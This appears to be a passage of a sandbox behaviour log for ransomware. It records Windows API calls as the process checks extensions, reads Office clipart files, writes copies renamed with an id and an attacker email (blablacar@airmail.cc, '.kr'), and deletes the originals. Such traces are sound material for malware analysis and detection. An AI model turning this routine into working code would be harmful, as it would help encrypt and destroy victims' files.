lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.867] lstrlenW (lpString=".rar") returned 4 [0181.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.867] lstrlenW (lpString=".bz2") returned 4 [0181.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString=".7z") returned 3 [0181.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString=".dbf") returned 4 [0181.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString=".1cd") returned 4 [0181.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString=".jpg") returned 4 [0181.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString=".doc") returned 4 [0181.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString=".docx") returned 5 [0181.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.868] lstrlenW (lpString=".pdf") returned 4 [0181.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString=".xls") returned 4 [0181.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.868] lstrlenW (lpString=".xlsx") returned 5 [0181.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.868] lstrlenW (lpString=".ppt") returned 4 [0181.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.868] lstrlenW (lpString=".zip") returned 4 [0181.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.868] lstrlenW (lpString=".rar") returned 4 [0181.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.868] lstrlenW (lpString=".bz2") returned 4 [0181.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.869] lstrlenW (lpString=".7z") returned 3 [0181.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.869] lstrlenW (lpString=".dbf") returned 4 [0181.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.869] lstrlenW (lpString=".1cd") returned 4 [0181.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0181.869] lstrlenW (lpString=".jpg") returned 4 [0181.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.869] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.869] lstrlenW (lpString="BL00267_.WMF") returned 12 [0181.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.869] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2644) returned 1 [0181.870] CloseHandle (hObject=0x480) returned 1 [0181.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0181.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.870] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.870] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.871] GetLastError () returned 0x0 [0181.871] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xa54, lpOverlapped=0x0) returned 1 [0181.873] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xa60, lpOverlapped=0x0) returned 1 [0181.874] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.874] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0181.874] SetEndOfFile (hFile=0x484) returned 1 [0181.874] CloseHandle (hObject=0x484) returned 1 [0181.875] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.875] SetEndOfFile (hFile=0x480) returned 1 [0181.877] CloseHandle (hObject=0x480) returned 1 [0181.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.878] lstrlenW (lpString=".doc") returned 4 [0181.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.878] lstrlenW (lpString=".docx") returned 5 [0181.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.878] lstrlenW (lpString=".pdf") returned 4 [0181.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".xls") returned 4 [0181.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.879] lstrlenW (lpString=".xlsx") returned 5 [0181.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.879] lstrlenW (lpString=".ppt") returned 4 [0181.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString=".zip") returned 4 [0181.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.879] lstrlenW (lpString=".rar") returned 4 [0181.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".bz2") returned 4 [0181.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".7z") returned 3 [0181.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString=".dbf") returned 4 [0181.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString=".1cd") returned 4 [0181.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString=".jpg") returned 4 [0181.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.879] lstrlenW (lpString=".doc") returned 4 [0181.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".docx") returned 5 [0181.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.879] lstrlenW (lpString=".pdf") returned 4 [0181.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".xls") returned 4 [0181.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.880] lstrlenW (lpString=".xlsx") returned 5 [0181.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.880] lstrlenW (lpString=".ppt") returned 4 [0181.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.880] lstrlenW (lpString=".zip") returned 4 [0181.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.880] lstrlenW (lpString=".rar") returned 4 [0181.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".bz2") returned 4 [0181.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".7z") returned 3 [0181.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.880] lstrlenW (lpString=".dbf") returned 4 [0181.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.880] lstrlenW (lpString=".1cd") returned 4 [0181.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0181.880] lstrlenW (lpString=".jpg") returned 4 [0181.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.880] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.880] lstrlenW (lpString="BL00269_.WMF") returned 12 [0181.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.881] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5272) returned 1 [0181.881] CloseHandle (hObject=0x480) returned 1 [0181.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0181.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.882] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.882] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.882] GetLastError () returned 0x0 [0181.882] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1498, lpOverlapped=0x0) returned 1 [0181.884] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x14a0, lpOverlapped=0x0) returned 1 [0181.885] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.885] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0181.885] SetEndOfFile (hFile=0x484) returned 1 [0181.885] CloseHandle (hObject=0x484) returned 1 [0181.886] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.886] SetEndOfFile (hFile=0x480) returned 1 [0181.888] CloseHandle (hObject=0x480) returned 1 [0181.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0181.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.889] lstrlenW (lpString=".doc") returned 4 [0181.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString=".docx") returned 5 [0181.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.890] lstrlenW (lpString=".pdf") returned 4 [0181.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString=".xls") returned 4 [0181.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.890] lstrlenW (lpString=".xlsx") returned 5 [0181.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.890] lstrlenW (lpString=".ppt") returned 4 [0181.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.890] lstrlenW (lpString=".zip") returned 4 [0181.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.890] lstrlenW (lpString=".rar") returned 4 [0181.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString=".bz2") returned 4 [0181.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString=".7z") returned 3 [0181.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.890] lstrlenW (lpString=".dbf") returned 4 [0181.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.890] lstrlenW (lpString=".1cd") returned 4 [0181.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".jpg") returned 4 [0181.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".doc") returned 4 [0181.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString=".docx") returned 5 [0181.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.891] lstrlenW (lpString=".pdf") returned 4 [0181.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString=".xls") returned 4 [0181.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.891] lstrlenW (lpString=".xlsx") returned 5 [0181.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.891] lstrlenW (lpString=".ppt") returned 4 [0181.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".zip") returned 4 [0181.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.891] lstrlenW (lpString=".rar") returned 4 [0181.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString=".bz2") returned 4 [0181.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString=".7z") returned 3 [0181.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".dbf") returned 4 [0181.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".1cd") returned 4 [0181.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0181.891] lstrlenW (lpString=".jpg") returned 4 [0181.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.892] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.892] lstrlenW (lpString="BL00270_.WMF") returned 12 [0181.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.892] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3016) returned 1 [0181.892] CloseHandle (hObject=0x480) returned 1 [0181.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0181.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.893] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.893] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.893] GetLastError () returned 0x0 [0181.893] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xbc8, lpOverlapped=0x0) returned 1 [0182.275] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0182.276] ReadFile (in: hFile=0x480, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.276] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0182.276] SetEndOfFile (hFile=0x484) returned 1 [0182.276] CloseHandle (hObject=0x484) returned 1 [0182.276] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.276] SetEndOfFile (hFile=0x480) returned 1 [0182.278] CloseHandle (hObject=0x480) returned 1 [0182.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0182.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.279] lstrlenW (lpString=".doc") returned 4 [0182.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString=".docx") returned 5 [0182.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.280] lstrlenW (lpString=".pdf") returned 4 [0182.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString=".xls") returned 4 [0182.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.280] lstrlenW (lpString=".xlsx") returned 5 [0182.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.280] lstrlenW (lpString=".ppt") returned 4 [0182.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.280] lstrlenW (lpString=".zip") returned 4 [0182.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.280] lstrlenW (lpString=".rar") returned 4 [0182.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString=".bz2") returned 4 [0182.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString=".7z") returned 3 [0182.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.280] lstrlenW (lpString="C:\\Program Files\\Microsoft 